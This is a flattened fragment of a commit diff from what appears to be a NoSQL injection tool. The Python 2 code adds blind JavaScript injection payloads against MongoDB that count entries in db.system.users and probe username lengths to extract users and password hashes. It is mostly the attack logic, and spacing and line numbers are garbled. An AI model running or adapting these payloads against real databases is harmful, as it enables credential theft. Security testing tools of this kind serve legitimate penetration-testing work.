You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
getUserInf=raw_input("Get database users and password hashes? ")
1193
1195
1194
1196
ifgetUserInf=="y"orgetUserInf=="Y":
1197
+
charCounter=0
1198
+
nameCounter=0
1199
+
#find the total number of users on the database
1195
1200
whilegotUserCnt==False:
1196
1201
usrCntUri=uriArray[16].replace("---","var usrcnt = db.system.users.count(); if (usrcnt == "+str(usrCount) +") { return true; } var dum='a")
1197
1202
lenUri=int(len(urllib.urlopen(usrCntUri).read()))
@@ -1203,6 +1208,43 @@ def getDBInfo():
1203
1208
else:
1204
1209
usrCount+=1
1205
1210
1211
+
print"User:password hash"
1212
+
whileusrRetr<usrCount:
1213
+
whilegotUserCnt==False:
1214
+
#first solve for the first user in the DB
1215
+
#figure out how long the username is
1216
+
usrLenUri=uriArray[16].replace("---", "cur=db.system.users.findOne();uname=cur.user; if (uname.length=="+str(charCounter) +"){return true;}var dum = 'a"+"&")
0 commit comments